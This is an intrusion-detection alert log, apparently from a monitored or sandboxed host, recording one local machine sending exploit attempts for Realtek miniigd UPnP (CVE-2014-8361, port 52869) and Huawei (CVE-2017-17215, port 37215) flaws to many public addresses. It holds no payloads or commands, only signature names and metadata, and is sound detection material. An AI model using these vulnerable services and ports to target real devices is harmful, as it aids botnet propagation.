ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.158.63.237

Timestamp:	07/20/24-23:01:44.085493
SID:	2025132
Source Port:	60514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 202.243.3.110

Timestamp:	07/20/24-23:01:34.044417
SID:	2829579
Source Port:	54706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.58.18.134

Timestamp:	07/20/24-23:01:21.951975
SID:	2829579
Source Port:	60584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.122.28.196

Timestamp:	07/20/24-23:01:04.094795
SID:	2835222
Source Port:	48598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.49.56.86

Timestamp:	07/20/24-23:02:09.263272
SID:	2027339
Source Port:	43816
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.53.48.130

Timestamp:	07/20/24-23:01:25.302531
SID:	2025132
Source Port:	49410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.90.91.204

Timestamp:	07/20/24-23:01:31.318206
SID:	2027339
Source Port:	59666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.186.230.20

Timestamp:	07/20/24-23:01:44.749294
SID:	2831300
Source Port:	55868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.238.106.168

Timestamp:	07/20/24-23:01:43.014738
SID:	2025132
Source Port:	44048
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.250.20.58

Timestamp:	07/20/24-23:01:01.852700
SID:	2027339
Source Port:	50044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.81.144.22

Timestamp:	07/20/24-23:01:44.464382
SID:	2027339
Source Port:	60824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.170.177.158

Timestamp:	07/20/24-23:01:47.943232
SID:	2831300
Source Port:	43862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.91.139.254

Timestamp:	07/20/24-23:01:26.790100
SID:	2027339
Source Port:	35768
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.57.98.237

Timestamp:	07/20/24-23:01:41.298259
SID:	2025132
Source Port:	59392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.61.249.135

Timestamp:	07/20/24-23:01:53.735607
SID:	2025132
Source Port:	50640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 170.47.68.177

Timestamp:	07/20/24-23:01:43.096223
SID:	2025132
Source Port:	56734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.2.96.116

Timestamp:	07/20/24-23:01:52.116386
SID:	2027339
Source Port:	47788
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.201.238.135

Timestamp:	07/20/24-23:01:44.745095
SID:	2025132
Source Port:	36580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.133.195.170

Timestamp:	07/20/24-23:01:20.157619
SID:	2835222
Source Port:	55882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.185.211.99

Timestamp:	07/20/24-23:01:59.104072
SID:	2027339
Source Port:	45002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.249.229.44

Timestamp:	07/20/24-23:01:24.885849
SID:	2829579
Source Port:	53918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.139.28.102

Timestamp:	07/20/24-23:01:00.635367
SID:	2829579
Source Port:	33796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 76.182.125.5

Timestamp:	07/20/24-23:01:07.036064
SID:	2829579
Source Port:	33808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.141.230.31

Timestamp:	07/20/24-23:01:02.066908
SID:	2835222
Source Port:	54644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 131.199.217.59

Timestamp:	07/20/24-23:01:08.903232
SID:	2831300
Source Port:	51704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 136.37.204.244

Timestamp:	07/20/24-23:01:42.250039
SID:	2831300
Source Port:	38152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 169.97.93.18

Timestamp:	07/20/24-23:01:31.974837
SID:	2829579
Source Port:	35808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.49.61.251

Timestamp:	07/20/24-23:01:44.527952
SID:	2831300
Source Port:	46940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 83.201.129.18

Timestamp:	07/20/24-23:01:45.037292
SID:	2025132
Source Port:	57826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 1.111.156.136

Timestamp:	07/20/24-23:01:48.138392
SID:	2831300
Source Port:	58154
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.20.218.143

Timestamp:	07/20/24-23:01:49.578308
SID:	2027339
Source Port:	42790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.45.218.64

Timestamp:	07/20/24-23:01:44.325103
SID:	2027339
Source Port:	57446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 222.131.76.141

Timestamp:	07/20/24-23:01:45.731228
SID:	2027339
Source Port:	35482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.27.18.74

Timestamp:	07/20/24-23:01:51.288562
SID:	2027339
Source Port:	38702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.98.158.174

Timestamp:	07/20/24-23:01:08.584507
SID:	2027339
Source Port:	35960
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.218.167.53

Timestamp:	07/20/24-23:01:43.141970
SID:	2027339
Source Port:	45448
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.220.99.163

Timestamp:	07/20/24-23:01:31.321189
SID:	2027339
Source Port:	55696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.211.124.137

Timestamp:	07/20/24-23:01:20.202325
SID:	2829579
Source Port:	59032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 96.213.123.243

Timestamp:	07/20/24-23:01:42.758699
SID:	2025132
Source Port:	56734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 216.183.225.201

Timestamp:	07/20/24-23:01:50.176893
SID:	2025132
Source Port:	36354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.244.170.26

Timestamp:	07/20/24-23:01:56.327422
SID:	2027339
Source Port:	57670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.14.83.223

Timestamp:	07/20/24-23:01:44.118192
SID:	2025132
Source Port:	33128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.19.125.68

Timestamp:	07/20/24-23:01:48.021704
SID:	2027339
Source Port:	38126
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.50.151.45

Timestamp:	07/20/24-23:01:51.220119
SID:	2027339
Source Port:	35088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.83.239.39

Timestamp:	07/20/24-23:01:06.989167
SID:	2829579
Source Port:	40244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.87.239.136

Timestamp:	07/20/24-23:01:41.217142
SID:	2025132
Source Port:	32860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.90.43.161

Timestamp:	07/20/24-23:00:57.222164
SID:	2835222
Source Port:	34472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.173.105.15

Timestamp:	07/20/24-23:01:31.312614
SID:	2027339
Source Port:	56772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 71.169.30.84

Timestamp:	07/20/24-23:01:41.747994
SID:	2025132
Source Port:	48270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.183.186

Timestamp:	07/20/24-23:00:59.153608
SID:	2829579
Source Port:	53610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.189.61

Timestamp:	07/20/24-23:01:34.045143
SID:	2829579
Source Port:	59604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.20.172.49

Timestamp:	07/20/24-23:01:31.313383
SID:	2831300
Source Port:	34288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.148.59.65

Timestamp:	07/20/24-23:01:44.085493
SID:	2027339
Source Port:	48974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.71.17.129

Timestamp:	07/20/24-23:01:27.650643
SID:	2829579
Source Port:	40256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.158.215.83

Timestamp:	07/20/24-23:01:11.638042
SID:	2829579
Source Port:	51356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.202.17.201

Timestamp:	07/20/24-23:01:11.818830
SID:	2829579
Source Port:	36700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.149.108.97

Timestamp:	07/20/24-23:01:46.020177
SID:	2027339
Source Port:	56560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.70.153.225

Timestamp:	07/20/24-23:01:07.054782
SID:	2835222
Source Port:	38094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 50.208.25.112

Timestamp:	07/20/24-23:01:45.165718
SID:	2027339
Source Port:	36230
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.200.159.137

Timestamp:	07/20/24-23:01:48.958887
SID:	2027339
Source Port:	36624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.73.220.78

Timestamp:	07/20/24-23:01:56.304951
SID:	2027339
Source Port:	45530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.121.108.79

Timestamp:	07/20/24-23:01:02.048367
SID:	2829579
Source Port:	48934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.137.194.88

Timestamp:	07/20/24-23:01:13.345185
SID:	2027339
Source Port:	43504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.181.232.193

Timestamp:	07/20/24-23:01:42.280418
SID:	2025132
Source Port:	49070
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.66.196.35

Timestamp:	07/20/24-23:01:42.984532
SID:	2027339
Source Port:	44358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.183.96.221

Timestamp:	07/20/24-23:01:40.323034
SID:	2829579
Source Port:	57026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 171.220.105.123

Timestamp:	07/20/24-23:01:47.966822
SID:	2027339
Source Port:	41232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.99.169.51

Timestamp:	07/20/24-23:01:11.636599
SID:	2835222
Source Port:	43754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.61.115.2

Timestamp:	07/20/24-23:01:42.677301
SID:	2027339
Source Port:	55986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.210.250.205

Timestamp:	07/20/24-23:01:21.915268
SID:	2835222
Source Port:	39240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 132.180.52.133

Timestamp:	07/20/24-23:01:42.631864
SID:	2831300
Source Port:	49044
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 120.69.243.217

Timestamp:	07/20/24-23:01:49.921076
SID:	2831300
Source Port:	35244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.158.29.84

Timestamp:	07/20/24-23:01:02.066908
SID:	2835222
Source Port:	45804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.254.34.7

Timestamp:	07/20/24-23:01:08.572556
SID:	2027339
Source Port:	54124
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 92.186.116.223

Timestamp:	07/20/24-23:01:58.755147
SID:	2025132
Source Port:	45994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.176.142.26

Timestamp:	07/20/24-23:01:08.638879
SID:	2027339
Source Port:	51800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.83.227.139

Timestamp:	07/20/24-23:01:44.888072
SID:	2831300
Source Port:	53918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.109.181.179

Timestamp:	07/20/24-23:00:59.211046
SID:	2835222
Source Port:	41502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.75.86.189

Timestamp:	07/20/24-23:01:08.554229
SID:	2027339
Source Port:	45798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.135.71.210

Timestamp:	07/20/24-23:01:13.730392
SID:	2027339
Source Port:	52548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.91.121.224

Timestamp:	07/20/24-23:01:44.489022
SID:	2027339
Source Port:	35434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 13.112.9.246

Timestamp:	07/20/24-23:01:01.793488
SID:	2027339
Source Port:	57682
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.135.90.32

Timestamp:	07/20/24-23:01:24.813625
SID:	2025132
Source Port:	51160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 86.115.200.136

Timestamp:	07/20/24-23:01:59.992285
SID:	2025132
Source Port:	37240
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.134.191.30

Timestamp:	07/20/24-23:00:59.175742
SID:	2835222
Source Port:	39616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.224.149.155

Timestamp:	07/20/24-23:01:46.225146
SID:	2831300
Source Port:	36688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.240.85.125

Timestamp:	07/20/24-23:01:43.147289
SID:	2025132
Source Port:	47782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 107.204.90.199

Timestamp:	07/20/24-23:01:45.072641
SID:	2831300
Source Port:	42140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 219.159.165.91

Timestamp:	07/20/24-23:00:59.211046
SID:	2835222
Source Port:	44780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.23.98.70

Timestamp:	07/20/24-23:01:58.892811
SID:	2027339
Source Port:	35576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 14.138.152.232

Timestamp:	07/20/24-23:01:57.723224
SID:	2025132
Source Port:	45188
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.222.36.60

Timestamp:	07/20/24-23:01:41.956473
SID:	2027339
Source Port:	35810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.24.223.164

Timestamp:	07/20/24-23:01:44.440143
SID:	2027339
Source Port:	55764
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.34.49.149

Timestamp:	07/20/24-23:01:08.589760
SID:	2027339
Source Port:	51690
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 197.243.125.183

Timestamp:	07/20/24-23:01:51.624541
SID:	2025132
Source Port:	48202
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.32.130.76

Timestamp:	07/20/24-23:01:02.750140
SID:	2025132
Source Port:	60326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.235.222.68

Timestamp:	07/20/24-23:01:42.685722
SID:	2027339
Source Port:	50136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.66.223.29

Timestamp:	07/20/24-23:01:21.966302
SID:	2829579
Source Port:	43454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.104.185.79

Timestamp:	07/20/24-23:01:44.996260
SID:	2831300
Source Port:	39878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

